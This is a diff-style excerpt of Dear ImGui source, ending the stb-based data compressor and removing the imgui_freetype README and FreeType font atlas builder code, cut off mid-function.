#define stb_out(v) do { if (stb__out) *stb__out++ = (stb_uchar) (v); else stb__write((stb_uchar) (v)); } while (0)
|
||||
|
||||
static void stb_out2(stb_uint v) { stb_out(v >> 8); stb_out(v); }
|
||||
static void stb_out3(stb_uint v) { stb_out(v >> 16); stb_out(v >> 8); stb_out(v); }
|
||||
static void stb_out4(stb_uint v) { stb_out(v >> 24); stb_out(v >> 16); stb_out(v >> 8 ); stb_out(v); }
|
||||
|
||||
static void outliterals(stb_uchar *in, int numlit)
|
||||
{
|
||||
while (numlit > 65536) {
|
||||
outliterals(in,65536);
|
||||
in += 65536;
|
||||
numlit -= 65536;
|
||||
}
|
||||
|
||||
if (numlit == 0) ;
|
||||
else if (numlit <= 32) stb_out (0x000020 + numlit-1);
|
||||
else if (numlit <= 2048) stb_out2(0x000800 + numlit-1);
|
||||
else /* numlit <= 65536) */ stb_out3(0x070000 + numlit-1);
|
||||
|
||||
if (stb__out) {
|
||||
memcpy(stb__out,in,numlit);
|
||||
stb__out += numlit;
|
||||
} else
|
||||
fwrite(in, 1, numlit, stb__outfile);
|
||||
}
|
||||
|
||||
static int stb__window = 0x40000; // 256K
|
||||
|
||||
static int stb_not_crap(int best, int dist)
|
||||
{
|
||||
return ((best > 2 && dist <= 0x00100)
|
||||
|| (best > 5 && dist <= 0x04000)
|
||||
|| (best > 7 && dist <= 0x80000));
|
||||
}
|
||||
|
||||
static stb_uint stb__hashsize = 32768;
|
||||
|
||||
// note that you can play with the hashing functions all you
|
||||
// want without needing to change the decompressor
|
||||
#define stb__hc(q,h,c) (((h) << 7) + ((h) >> 25) + q[c])
|
||||
#define stb__hc2(q,h,c,d) (((h) << 14) + ((h) >> 18) + (q[c] << 7) + q[d])
|
||||
#define stb__hc3(q,c,d,e) ((q[c] << 14) + (q[d] << 7) + q[e])
|
||||
|
||||
static unsigned int stb__running_adler;
|
||||
|
||||
static int stb_compress_chunk(stb_uchar *history,
|
||||
stb_uchar *start,
|
||||
stb_uchar *end,
|
||||
int length,
|
||||
int *pending_literals,
|
||||
stb_uchar **chash,
|
||||
stb_uint mask)
|
||||
{
|
||||
(void)history;
|
||||
int window = stb__window;
|
||||
stb_uint match_max;
|
||||
stb_uchar *lit_start = start - *pending_literals;
|
||||
stb_uchar *q = start;
|
||||
|
||||
#define STB__SCRAMBLE(h) (((h) + ((h) >> 16)) & mask)
|
||||
|
||||
// stop short of the end so we don't scan off the end doing
|
||||
// the hashing; this means we won't compress the last few bytes
|
||||
// unless they were part of something longer
|
||||
while (q < start+length && q+12 < end) {
|
||||
int m;
|
||||
stb_uint h1,h2,h3,h4, h;
|
||||
stb_uchar *t;
|
||||
int best = 2, dist=0;
|
||||
|
||||
if (q+65536 > end)
|
||||
match_max = end-q;
|
||||
else
|
||||
match_max = 65536;
|
||||
|
||||
#define stb__nc(b,d) ((d) <= window && ((b) > 9 || stb_not_crap(b,d)))
|
||||
|
||||
#define STB__TRY(t,p) /* avoid retrying a match we already tried */ \
|
||||
if (p ? dist != q-t : 1) \
|
||||
if ((m = stb_matchlen(t, q, match_max)) > best) \
|
||||
if (stb__nc(m,q-(t))) \
|
||||
best = m, dist = q - (t)
|
||||
|
||||
// rather than search for all matches, only try 4 candidate locations,
|
||||
// chosen based on 4 different hash functions of different lengths.
|
||||
// this strategy is inspired by LZO; hashing is unrolled here using the
|
||||
// 'hc' macro
|
||||
h = stb__hc3(q,0, 1, 2); h1 = STB__SCRAMBLE(h);
|
||||
t = chash[h1]; if (t) STB__TRY(t,0);
|
||||
h = stb__hc2(q,h, 3, 4); h2 = STB__SCRAMBLE(h);
|
||||
h = stb__hc2(q,h, 5, 6); t = chash[h2]; if (t) STB__TRY(t,1);
|
||||
h = stb__hc2(q,h, 7, 8); h3 = STB__SCRAMBLE(h);
|
||||
h = stb__hc2(q,h, 9,10); t = chash[h3]; if (t) STB__TRY(t,1);
|
||||
h = stb__hc2(q,h,11,12); h4 = STB__SCRAMBLE(h);
|
||||
t = chash[h4]; if (t) STB__TRY(t,1);
|
||||
|
||||
// because we use a shared hash table, can only update it
|
||||
// _after_ we've probed all of them
|
||||
chash[h1] = chash[h2] = chash[h3] = chash[h4] = q;
|
||||
|
||||
if (best > 2)
|
||||
assert(dist > 0);
|
||||
|
||||
// see if our best match qualifies
|
||||
if (best < 3) { // fast path literals
|
||||
++q;
|
||||
} else if (best > 2 && best <= 0x80 && dist <= 0x100) {
|
||||
outliterals(lit_start, q-lit_start); lit_start = (q += best);
|
||||
stb_out(0x80 + best-1);
|
||||
stb_out(dist-1);
|
||||
} else if (best > 5 && best <= 0x100 && dist <= 0x4000) {
|
||||
outliterals(lit_start, q-lit_start); lit_start = (q += best);
|
||||
stb_out2(0x4000 + dist-1);
|
||||
stb_out(best-1);
|
||||
} else if (best > 7 && best <= 0x100 && dist <= 0x80000) {
|
||||
outliterals(lit_start, q-lit_start); lit_start = (q += best);
|
||||
stb_out3(0x180000 + dist-1);
|
||||
stb_out(best-1);
|
||||
} else if (best > 8 && best <= 0x10000 && dist <= 0x80000) {
|
||||
outliterals(lit_start, q-lit_start); lit_start = (q += best);
|
||||
stb_out3(0x100000 + dist-1);
|
||||
stb_out2(best-1);
|
||||
} else if (best > 9 && dist <= 0x1000000) {
|
||||
if (best > 65536) best = 65536;
|
||||
outliterals(lit_start, q-lit_start); lit_start = (q += best);
|
||||
if (best <= 0x100) {
|
||||
stb_out(0x06);
|
||||
stb_out3(dist-1);
|
||||
stb_out(best-1);
|
||||
} else {
|
||||
stb_out(0x04);
|
||||
stb_out3(dist-1);
|
||||
stb_out2(best-1);
|
||||
}
|
||||
} else { // fallback literals if no match was a balanced tradeoff
|
||||
++q;
|
||||
}
|
||||
}
|
||||
|
||||
// if we didn't get all the way, add the rest to literals
|
||||
if (q-start < length)
|
||||
q = start+length;
|
||||
|
||||
// the literals are everything from lit_start to q
|
||||
*pending_literals = (q - lit_start);
|
||||
|
||||
stb__running_adler = stb_adler32(stb__running_adler, start, q - start);
|
||||
return q - start;
|
||||
}
|
||||
|
||||
static int stb_compress_inner(stb_uchar *input, stb_uint length)
|
||||
{
|
||||
int literals = 0;
|
||||
stb_uint len,i;
|
||||
|
||||
stb_uchar **chash;
|
||||
chash = (stb_uchar**) malloc(stb__hashsize * sizeof(stb_uchar*));
|
||||
if (chash == NULL) return 0; // failure
|
||||
for (i=0; i < stb__hashsize; ++i)
|
||||
chash[i] = NULL;
|
||||
|
||||
// stream signature
|
||||
stb_out(0x57); stb_out(0xbc);
|
||||
stb_out2(0);
|
||||
|
||||
stb_out4(0); // 64-bit length requires 32-bit leading 0
|
||||
stb_out4(length);
|
||||
stb_out4(stb__window);
|
||||
|
||||
stb__running_adler = 1;
|
||||
|
||||
len = stb_compress_chunk(input, input, input+length, length, &literals, chash, stb__hashsize-1);
|
||||
assert(len == length);
|
||||
|
||||
outliterals(input+length - literals, literals);
|
||||
|
||||
free(chash);
|
||||
|
||||
stb_out2(0x05fa); // end opcode
|
||||
|
||||
stb_out4(stb__running_adler);
|
||||
|
||||
return 1; // success
|
||||
}
|
||||
|
||||
stb_uint stb_compress(stb_uchar *out, stb_uchar *input, stb_uint length)
|
||||
{
|
||||
stb__out = out;
|
||||
stb__outfile = NULL;
|
||||
|
||||
stb_compress_inner(input, length);
|
||||
|
||||
return stb__out - out;
|
||||
}
|
@ -1,30 +0,0 @@
|
||||
# imgui_freetype
|
||||
|
||||
Build font atlases using FreeType instead of stb_truetype (which is the default font rasterizer).
|
||||
<br>by @vuhdo, @mikesart, @ocornut.
|
||||
|
||||
### Usage
|
||||
|
||||
1. Get latest FreeType binaries or build yourself (under Windows you may use vcpkg with `vcpkg install freetype`, `vcpkg integrate install`).
|
||||
2. Add imgui_freetype.h/cpp alongside your project files.
|
||||
3. Add `#define IMGUI_ENABLE_FREETYPE` in your [imconfig.h](https://github.com/ocornut/imgui/blob/master/imconfig.h) file
|
||||
|
||||
### About Gamma Correct Blending
|
||||
|
||||
FreeType assumes blending in linear space rather than gamma space.
|
||||
See FreeType note for [FT_Render_Glyph](https://www.freetype.org/freetype2/docs/reference/ft2-base_interface.html#FT_Render_Glyph).
|
||||
For correct results you need to be using sRGB and convert to linear space in the pixel shader output.
|
||||
The default Dear ImGui styles will be impacted by this change (alpha values will need tweaking).
|
||||
|
||||
### Testbed for toying with settings (for developers)
|
||||
|
||||
See https://gist.github.com/ocornut/b3a9ecf13502fd818799a452969649ad
|
||||
|
||||
### Known issues
|
||||
|
||||
- Oversampling settins are ignored but also not so much necessary with the higher quality rendering.
|
||||
|
||||
### Comparaison
|
||||
|
||||
Small, thin anti-aliased fonts are typically benefiting a lots from Freetype's hinting:
|
||||
![comparing_font_rasterizers](https://user-images.githubusercontent.com/8225057/107550178-fef87f00-6bd0-11eb-8d09-e2edb2f0ccfc.gif)
|
@ -1,769 +0,0 @@
|
||||
// dear imgui: FreeType font builder (used as a replacement for the stb_truetype builder)
|
||||
// (code)
|
||||
|
||||
// Get latest version at https://github.com/ocornut/imgui/tree/master/misc/freetype
|
||||
// Original code by @vuhdo (Aleksei Skriabin). Improvements by @mikesart. Maintained since 2019 by @ocornut.
|
||||
|
||||
// CHANGELOG
|
||||
// (minor and older changes stripped away, please see git history for details)
|
||||
// 2021/03/05: added ImGuiFreeTypeBuilderFlags_Bitmap to load bitmap glyphs.
|
||||
// 2021/03/02: set 'atlas->TexPixelsUseColors = true' to help some backends with deciding of a prefered texture format.
|
||||
// 2021/01/28: added support for color-layered glyphs via ImGuiFreeTypeBuilderFlags_LoadColor (require Freetype 2.10+).
|
||||
// 2021/01/26: simplified integration by using '#define IMGUI_ENABLE_FREETYPE'.
|
||||
// renamed ImGuiFreeType::XXX flags to ImGuiFreeTypeBuilderFlags_XXX for consistency with other API. removed ImGuiFreeType::BuildFontAtlas().
|
||||
// 2020/06/04: fix for rare case where FT_Get_Char_Index() succeed but FT_Load_Glyph() fails.
|
||||
// 2019/02/09: added RasterizerFlags::Monochrome flag to disable font anti-aliasing (combine with ::MonoHinting for best results!)
|
||||
// 2019/01/15: added support for imgui allocators + added FreeType only override function SetAllocatorFunctions().
|
||||
// 2019/01/10: re-factored to match big update in STB builder. fixed texture height waste. fixed redundant glyphs when merging. support for glyph padding.
|
||||
// 2018/06/08: added support for ImFontConfig::GlyphMinAdvanceX, GlyphMaxAdvanceX.
|
||||
// 2018/02/04: moved to main imgui repository (away from http://www.github.com/ocornut/imgui_club)
|
||||
// 2018/01/22: fix for addition of ImFontAtlas::TexUvscale member.
|
||||
// 2017/10/22: minor inconsequential change to match change in master (removed an unnecessary statement).
|
||||
// 2017/09/26: fixes for imgui internal changes.
|
||||
// 2017/08/26: cleanup, optimizations, support for ImFontConfig::RasterizerFlags, ImFontConfig::RasterizerMultiply.
|
||||
// 2017/08/16: imported from https://github.com/Vuhdo/imgui_freetype into http://www.github.com/ocornut/imgui_club, updated for latest changes in ImFontAtlas, minor tweaks.
|
||||
|
||||
// About Gamma Correct Blending:
|
||||
// - FreeType assumes blending in linear space rather than gamma space.
|
||||
// - See https://www.freetype.org/freetype2/docs/reference/ft2-base_interface.html#FT_Render_Glyph
|
||||
// - For correct results you need to be using sRGB and convert to linear space in the pixel shader output.
|
||||
// - The default dear imgui styles will be impacted by this change (alpha values will need tweaking).
|
||||
|
||||
// FIXME: cfg.OversampleH, OversampleV are not supported (but perhaps not so necessary with this rasterizer).
|
||||
|
||||
#include "imgui_freetype.h"
|
||||
#include "imgui_internal.h" // ImMin,ImMax,ImFontAtlasBuild*,
|
||||
#include <stdint.h>
|
||||
#include <ft2build.h>
|
||||
#include FT_FREETYPE_H // <freetype/freetype.h>
|
||||
#include FT_MODULE_H // <freetype/ftmodapi.h>
|
||||
#include FT_GLYPH_H // <freetype/ftglyph.h>
|
||||
#include FT_SYNTHESIS_H // <freetype/ftsynth.h>
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma warning (disable: 4505) // unreferenced local function has been removed (stb stuff)
|
||||
#endif
|
||||
|
||||
#if defined(__GNUC__)
|
||||
#pragma GCC diagnostic ignored "-Wpragmas" // warning: unknown option after '#pragma GCC diagnostic' kind
|
||||
#pragma GCC diagnostic ignored "-Wunused-function" // warning: 'xxxx' defined but not used
|
||||
#endif
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
// Data
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
// Default memory allocators
|
||||
static void* ImGuiFreeTypeDefaultAllocFunc(size_t size, void* user_data) { IM_UNUSED(user_data); return IM_ALLOC(size); }
|
||||
static void ImGuiFreeTypeDefaultFreeFunc(void* ptr, void* user_data) { IM_UNUSED(user_data); IM_FREE(ptr); }
|
||||
|
||||
// Current memory allocators
|
||||
static void* (*GImGuiFreeTypeAllocFunc)(size_t size, void* user_data) = ImGuiFreeTypeDefaultAllocFunc;
|
||||
static void (*GImGuiFreeTypeFreeFunc)(void* ptr, void* user_data) = ImGuiFreeTypeDefaultFreeFunc;
|
||||
static void* GImGuiFreeTypeAllocatorUserData = NULL;
|
||||
|
||||
//-------------------------------------------------------------------------
|
||||
// Code
|
||||
//-------------------------------------------------------------------------
|
||||
|
||||
namespace
|
||||
{
|
||||
// Glyph metrics:
|
||||
// --------------
|
||||
//
|
||||
// xmin xmax
|
||||
// | |
|
||||
// |<-------- width -------->|
|
||||
// | |
|
||||
// | +-------------------------+----------------- ymax
|
||||
// | | ggggggggg ggggg | ^ ^
|
||||
// | | g:::::::::ggg::::g | | |
|
||||
// | | g:::::::::::::::::g | | |
|
||||
// | | g::::::ggggg::::::gg | | |
|
||||
// | | g:::::g g:::::g | | |
|
||||
// offsetX -|-------->| g:::::g g:::::g | offsetY |
|
||||
// | | g:::::g g:::::g | | |
|
||||
// | | g::::::g g:::::g | | |
|
||||
// | | g:::::::ggggg:::::g | | |
|
||||
// | | g::::::::::::::::g | | height
|
||||
// | | gg::::::::::::::g | | |
|
||||
// baseline ---*---------|---- gggggggg::::::g-----*-------- |
|
||||
// / | | g:::::g | |
|
||||
// origin | | gggggg g:::::g | |
|
||||
// | | g:::::gg gg:::::g | |
|
||||
// | | g::::::ggg:::::::g | |
|
||||
// | | gg:::::::::::::g | |
|
||||
// | | ggg::::::ggg | |
|
||||
// | | gggggg | v
|
||||
// | +-------------------------+----------------- ymin
|
||||
// | |
|
||||
// |------------- advanceX ----------->|
|
||||
|
||||
// A structure that describe a glyph.
|
||||
struct GlyphInfo
|
||||
{
|
||||
int Width; // Glyph's width in pixels.
|
||||
int Height; // Glyph's height in pixels.
|
||||
FT_Int OffsetX; // The distance from the origin ("pen position") to the left of the glyph.
|
||||
FT_Int OffsetY; // The distance from the origin to the top of the glyph. This is usually a value < 0.
|
||||
float AdvanceX; // The distance from the origin to the origin of the next glyph. This is usually a value > 0.
|
||||
bool IsColored; // The glyph is colored
|
||||
};
|
||||
|
||||
// Font parameters and metrics.
|
||||
struct FontInfo
|
||||
{
|
||||
uint32_t PixelHeight; // Size this font was generated with.
|
||||
float Ascender; // The pixel extents above the baseline in pixels (typically positive).
|
||||
float Descender; // The extents below the baseline in pixels (typically negative).
|
||||
float LineSpacing; // The baseline-to-baseline distance. Note that it usually is larger than the sum of the ascender and descender taken as absolute values. There is also no guarantee that no glyphs extend above or below subsequent baselines when using this distance. Think of it as a value the designer of the font finds appropriate.
|
||||
float LineGap; // The spacing in pixels between one row's descent and the next row's ascent.
|
||||
float MaxAdvanceWidth; // This field gives the maximum horizontal cursor advance for all glyphs in the font.
|
||||
};
|
||||
|
||||
// FreeType glyph rasterizer.
|
||||
// NB: No ctor/dtor, explicitly call Init()/Shutdown()
|
||||
struct FreeTypeFont
|
||||
{
|
||||
bool InitFont(FT_Library ft_library, const ImFontConfig& cfg, unsigned int extra_user_flags); // Initialize from an external data buffer. Doesn't copy data, and you must ensure it stays valid up to this object lifetime.
|
||||
void CloseFont();
|
||||
void SetPixelHeight(int pixel_height); // Change font pixel size. All following calls to RasterizeGlyph() will use this size
|
||||
const FT_Glyph_Metrics* LoadGlyph(uint32_t in_codepoint);
|
||||
const FT_Bitmap* RenderGlyphAndGetInfo(GlyphInfo* out_glyph_info);
|
||||
void BlitGlyph(const FT_Bitmap* ft_bitmap, uint32_t* dst, uint32_t dst_pitch, unsigned char* multiply_table = NULL);
|
||||
~FreeTypeFont() { CloseFont(); }
|
||||
|
||||
// [Internals]
|
||||
FontInfo Info; // Font descriptor of the current font.
|
||||
FT_Face Face;
|
||||
unsigned int UserFlags; // = ImFontConfig::RasterizerFlags
|
||||
FT_Int32 LoadFlags;
|
||||
FT_Render_Mode RenderMode;
|
||||
};
|
||||
|
||||
// From SDL_ttf: Handy routines for converting from fixed point
|
||||
#define FT_CEIL(X) (((X + 63) & -64) / 64)
|
||||
|
||||
bool FreeTypeFont::InitFont(FT_Library ft_library, const ImFontConfig& cfg, unsigned int extra_font_builder_flags)
|
||||
{
|
||||
FT_Error error = FT_New_Memory_Face(ft_library, (uint8_t*)cfg.FontData, (uint32_t)cfg.FontDataSize, (uint32_t)cfg.FontNo, &Face);
|
||||
if (error != 0)
|
||||
return false;
|
||||
error = FT_Select_Charmap(Face, FT_ENCODING_UNICODE);
|
||||
if (error != 0)
|
||||
return false;
|
||||
|
||||
// Convert to FreeType flags (NB: Bold and Oblique are processed separately)
|
||||
UserFlags = cfg.FontBuilderFlags | extra_font_builder_flags;
|
||||
|
||||
LoadFlags = 0;
|
||||
if ((UserFlags & ImGuiFreeTypeBuilderFlags_Bitmap) == 0)
|
||||
LoadFlags |= FT_LOAD_NO_BITMAP;
|
||||
|
||||
if (UserFlags & ImGuiFreeTypeBuilderFlags_NoHinting)
|
||||
LoadFlags |= FT_LOAD_NO_HINTING;
|
||||
if (UserFlags & ImGuiFreeTypeBuilderFlags_NoAutoHint)
|
||||
LoadFlags |= FT_LOAD_NO_AUTOHINT;
|
||||
if (UserFlags & ImGuiFreeTypeBuilderFlags_ForceAutoHint)
|
||||
LoadFlags |= FT_LOAD_FORCE_AUTOHINT;
|
||||
if (UserFlags & ImGuiFreeTypeBuilderFlags_LightHinting)
|
||||
LoadFlags |= FT_LOAD_TARGET_LIGHT;
|
||||
else if (UserFlags & ImGuiFreeTypeBuilderFlags_MonoHinting)
|
||||
LoadFlags |= FT_LOAD_TARGET_MONO;
|
||||
else
|
||||
LoadFlags |= FT_LOAD_TARGET_NORMAL;
|
||||
|
||||
if (UserFlags & ImGuiFreeTypeBuilderFlags_Monochrome)
|
||||
RenderMode = FT_RENDER_MODE_MONO;
|
||||
else
|
||||
RenderMode = FT_RENDER_MODE_NORMAL;
|
||||
|
||||
if (UserFlags & ImGuiFreeTypeBuilderFlags_LoadColor)
|
||||
LoadFlags |= FT_LOAD_COLOR;
|
||||
|
||||
memset(&Info, 0, sizeof(Info));
|
||||
SetPixelHeight((uint32_t)cfg.SizePixels);
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
void FreeTypeFont::CloseFont()
|
||||
{
|
||||
if (Face)
|
||||
{
|
||||
FT_Done_Face(Face);
|
||||
Face = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
void FreeTypeFont::SetPixelHeight(int pixel_height)
|
||||
{
|
||||
// Vuhdo: I'm not sure how to deal with font sizes properly. As far as I understand, currently ImGui assumes that the 'pixel_height'
|
||||
// is a maximum height of an any given glyph, i.e. it's the sum of font's ascender and descender. Seems strange to me.
|
||||
// NB: FT_Set_Pixel_Sizes() doesn't seem to get us the same result.
|
||||
FT_Size_RequestRec req;
|
||||
req.type = (UserFlags & ImGuiFreeTypeBuilderFlags_Bitmap) ? FT_SIZE_REQUEST_TYPE_NOMINAL : FT_SIZE_REQUEST_TYPE_REAL_DIM;
|
||||
req.width = 0;
|
||||
req.height = (uint32_t)pixel_height * 64;
|
||||
req.horiResolution = 0;
|
||||
req.vertResolution = 0;
|
||||
FT_Request_Size(Face, &req);
|
||||
|
||||
// Update font info
|
||||
FT_Size_Metrics metrics = Face->size->metrics;
|
||||
Info.PixelHeight = (uint32_t)pixel_height;
|
||||
Info.Ascender = (float)FT_CEIL(metrics.ascender);
|
||||
Info.Descender = (float)FT_CEIL(metrics.descender);
|
||||
Info.LineSpacing = (float)FT_CEIL(metrics.height);
|
||||
Info.LineGap = (float)FT_CEIL(metrics.height - metrics.ascender + metrics.descender);
|
||||
Info.MaxAdvanceWidth = (float)FT_CEIL(metrics.max_advance);
|
||||
}
|
||||
|
||||
const FT_Glyph_Metrics* FreeTypeFont::LoadGlyph(uint32_t codepoint)
|
||||
{
|
||||
uint32_t glyph_index = FT_Get_Char_Index(Face, codepoint);
|
||||
if (glyph_index == 0)
|
||||
return NULL;
|
||||
FT_Error error = FT_Load_Glyph(Face, glyph_index, LoadFlags);
|
||||
if (error)
|
||||
return NULL;
|
||||
|
||||
// Need an outline for this to work
|
||||
FT_GlyphSlot slot = Face->glyph;
|
||||
IM_ASSERT(slot->format == FT_GLYPH_FORMAT_OUTLINE || slot->format == FT_GLYPH_FORMAT_BITMAP);
|
||||
|
||||
// Apply convenience transform (this is not picking from real "Bold"/"Italic" fonts! Merely applying FreeType helper transform. Oblique == Slanting)
|
||||
if (UserFlags & ImGuiFreeTypeBuilderFlags_Bold)
|
||||
FT_GlyphSlot_Embolden(slot);
|
||||
if (UserFlags & ImGuiFreeTypeBuilderFlags_Oblique)
|
||||
{
|
||||
FT_GlyphSlot_Oblique(slot);
|
||||
//FT_BBox bbox;
|
||||
//FT_Outline_Get_BBox(&slot->outline, &bbox);
|
||||
//slot->metrics.width = bbox.xMax - bbox.xMin;
|
||||
//slot->metrics.height = bbox.yMax - bbox.yMin;
|
||||
}
|
||||
|
||||
return &slot->metrics;
|
||||
}
|
||||
|
||||
const FT_Bitmap* FreeTypeFont::RenderGlyphAndGetInfo(GlyphInfo* out_glyph_info)
|
||||
{
|
||||
FT_GlyphSlot slot = Face->glyph;
|
||||
FT_Error error = FT_Render_Glyph(slot, RenderMode);
|
||||
if (error != 0)
|
||||
return NULL;
|
||||
|
||||
FT_Bitmap* ft_bitmap = &Face->glyph->bitmap;
|
||||
out_glyph_info->Width = (int)ft_bitmap->width;
|
||||
out_glyph_info->Height = (int)ft_bitmap->rows;
|
||||
out_glyph_info->OffsetX = Face->glyph->bitmap_left;
|
||||
out_glyph_info->OffsetY = -Face->glyph->bitmap_top;
|
||||
out_glyph_info->AdvanceX = (float)FT_CEIL(slot->advance.x);
|
||||
out_glyph_info->IsColored = (ft_bitmap->pixel_mode == FT_PIXEL_MODE_BGRA);
|
||||
|
||||
return ft_bitmap;
|
||||
}
|
||||
|
||||
void FreeTypeFont::BlitGlyph(const FT_Bitmap* ft_bitmap, uint32_t* dst, uint32_t dst_pitch, unsigned char* multiply_table)
|
||||
{
|
||||
IM_ASSERT(ft_bitmap != NULL);
|
||||
const uint32_t w = ft_bitmap->width;
|
||||
const uint32_t h = ft_bitmap->rows;
|
||||
const uint8_t* src = ft_bitmap->buffer;
|
||||
const uint32_t src_pitch = ft_bitmap->pitch;
|
||||
|
||||
switch (ft_bitmap->pixel_mode)
|
||||
{
|
||||
case FT_PIXEL_MODE_GRAY: // Grayscale image, 1 byte per pixel.
|
||||
{
|
||||
if (multiply_table == NULL)
|
||||
{
|
||||
for (uint32_t y = 0; y < h; y++, src += src_pitch, dst += dst_pitch)
|
||||
for (uint32_t x = 0; x < w; x++)
|
||||
dst[x] = IM_COL32(255, 255, 255, src[x]);
|
||||
}
|
||||
else
|
||||
{
|
||||
for (uint32_t y = 0; y < h; y++, src += src_pitch, dst += dst_pitch)
|
||||
for (uint32_t x = 0; x < w; x++)
|
||||
dst[x] = IM_COL32(255, 255, 255, multiply_table[src[x]]);
|
||||
}
|
||||
break;
|
||||
}
|
||||
case FT_PIXEL_MODE_MONO: // Monochrome image, 1 bit per pixel. The bits in each byte are ordered from MSB to LSB.
|
||||
{
|
||||
uint8_t color0 = multiply_table ? multiply_table[0] : 0;
|
||||
uint8_t color1 = multiply_table ? multiply_table[255] : 255;
|
||||
for (uint32_t y = 0; y < h; y++, src += src_pitch, dst += dst_pitch)
|
||||
{
|
||||
uint8_t bits = 0;
|
||||
const uint8_t* bits_ptr = src;
|
||||
for (uint32_t x = 0; x < w; x++, bits <<= 1)
|
||||
{
|
||||
if ((x & 7) == 0)
|
||||
bits = *bits_ptr++;
|
||||
dst[x] = IM_COL32(255, 255, 255, (bits & 0x80) ? color1 : color0);
|
||||
}
|
||||
}
|
||||
break;
|
||||
}
|
||||
case FT_PIXEL_MODE_BGRA:
|
||||
{
|
||||
// FIXME: Converting pre-multiplied alpha to straight. Doesn't smell good.
|
||||
#define DE_MULTIPLY(color, alpha) (ImU32)(255.0f * (float)color / (float)alpha + 0.5f)
|
||||
if (multiply_table == NULL)
|
||||
{
|
||||
for (uint32_t y = 0; y < h; y++, src += src_pitch, dst += dst_pitch)
|
||||
for (uint32_t x = 0; x < w; x++)
|
||||
{
|
||||
uint8_t r = src[x * 4 + 2], g = src[x * 4 + 1], b = src[x * 4], a = src[x * 4 + 3];
|
||||
dst[x] = IM_COL32(DE_MULTIPLY(r, a), DE_MULTIPLY(g, a), DE_MULTIPLY(b, a), a);
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
for (uint32_t y = 0; y < h; y++, src += src_pitch, dst += dst_pitch)
|
||||
{
|
||||
for (uint32_t x = 0; x < w; x++)
|
||||
{
|
||||
uint8_t r = src[x * 4 + 2], g = src[x * 4 + 1], b = src[x * 4], a = src[x * 4 + 3];
|
||||
dst[x] = IM_COL32(multiply_table[DE_MULTIPLY(r, a)], multiply_table[DE_MULTIPLY(g, a)], multiply_table[DE_MULTIPLY(b, a)], multiply_table[a]);
|
||||
}
|
||||
}
|
||||
}
|
||||
#undef DE_MULTIPLY
|
||||
break;
|
||||
}
|
||||
default:
|
||||
IM_ASSERT(0 && "FreeTypeFont::BlitGlyph(): Unknown bitmap pixel mode!");
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#ifndef STB_RECT_PACK_IMPLEMENTATION // in case the user already have an implementation in the _same_ compilation unit (e.g. unity builds)
|
||||
#ifndef IMGUI_DISABLE_STB_RECT_PACK_IMPLEMENTATION
|
||||
#define STBRP_ASSERT(x) do { IM_ASSERT(x); } while (0)
|
||||
#define STBRP_STATIC
|
||||
#define STB_RECT_PACK_IMPLEMENTATION
|
||||
#endif
|
||||
#ifdef IMGUI_STB_RECT_PACK_FILENAME
|
||||
#include IMGUI_STB_RECT_PACK_FILENAME
|
||||
#else
|
||||
#include "imstb_rectpack.h"
|
||||
#endif
|
||||
#endif
|
||||
|
||||
struct ImFontBuildSrcGlyphFT
|
||||
{
|
||||
GlyphInfo Info;
|
||||
uint32_t Codepoint;
|
||||
unsigned int* BitmapData; // Point within one of the dst_tmp_bitmap_buffers[] array
|
||||
|
||||
ImFontBuildSrcGlyphFT() { memset(this, 0, sizeof(*this)); }
|
||||
};
|
||||
|
||||
struct ImFontBuildSrcDataFT
|
||||
{
|
||||
FreeTypeFont Font;
|
||||
stbrp_rect* Rects; // Rectangle to pack. We first fill in their size and the packer will give us their position.
|
||||
const ImWchar* SrcRanges; // Ranges as requested by user (user is allowed to request too much, e.g. 0x0020..0xFFFF)
|
||||
int DstIndex; // Index into atlas->Fonts[] and dst_tmp_array[]
|
||||
int GlyphsHighest; // Highest requested codepoint
|
||||
int GlyphsCount; // Glyph count (excluding missing glyphs and glyphs already set by an earlier source font)
|
||||
ImBitVector GlyphsSet; // Glyph bit map (random access, 1-bit per codepoint. This will be a maximum of 8KB)
|
||||
ImVector<ImFontBuildSrcGlyphFT> GlyphsList;
|
||||
};
|
||||
|
||||
// Temporary data for one destination ImFont* (multiple source fonts can be merged into one destination ImFont)
|
||||
struct ImFontBuildDstDataFT
|
||||
{
|
||||
int SrcCount; // Number of source fonts targeting this destination font.
|
||||
int GlyphsHighest;
|
||||
int GlyphsCount;
|
||||
ImBitVector GlyphsSet; // This is used to resolve collision when multiple sources are merged into a same destination font.
|
||||
};
|
||||
|
||||
bool ImFontAtlasBuildWithFreeTypeEx(FT_Library ft_library, ImFontAtlas* atlas, unsigned int extra_flags)
|
||||
{
|
||||
IM_ASSERT(atlas->ConfigData.Size > 0);
|
||||
|
||||
ImFontAtlasBuildInit(atlas);
|
||||
|
||||
// Clear atlas
|
||||
atlas->TexID = (ImTextureID)NULL;
|
||||
atlas->TexWidth = atlas->TexHeight = 0;
|
||||
atlas->TexUvScale = ImVec2(0.0f, 0.0f);
|
||||
atlas->TexUvWhitePixel = ImVec2(0.0f, 0.0f);
|
||||
atlas->ClearTexData();
|
||||
|
||||
// Temporary storage for building
|
||||
bool src_load_color = false;
|
||||
ImVector<ImFontBuildSrcDataFT> src_tmp_array;
|
||||
ImVector<ImFontBuildDstDataFT> dst_tmp_array;
|
||||
src_tmp_array.resize(atlas->ConfigData.Size);
|
||||
dst_tmp_array.resize(atlas->Fonts.Size);
|
||||
memset((void*)src_tmp_array.Data, 0, (size_t)src_tmp_array.size_in_bytes());
|
||||
memset((void*)dst_tmp_array.Data, 0, (size_t)dst_tmp_array.size_in_bytes());
|
||||
|
||||
// 1. Initialize font loading structure, check font data validity
|
||||
for (int src_i = 0; src_i < atlas->ConfigData.Size; src_i++)
|
||||
{
|
||||
ImFontBuildSrcDataFT& src_tmp = src_tmp_array[src_i];
|
||||
ImFontConfig& cfg = atlas->ConfigData[src_i];
|
||||
FreeTypeFont& font_face = src_tmp.Font;
|
||||
IM_ASSERT(cfg.DstFont && (!cfg.DstFont->IsLoaded() || cfg.DstFont->ContainerAtlas == atlas));
|
||||
|
||||
// Find index from cfg.DstFont (we allow the user to set cfg.DstFont. Also it makes casual debugging nicer than when storing indices)
|
||||
src_tmp.DstIndex = -1;
|
||||
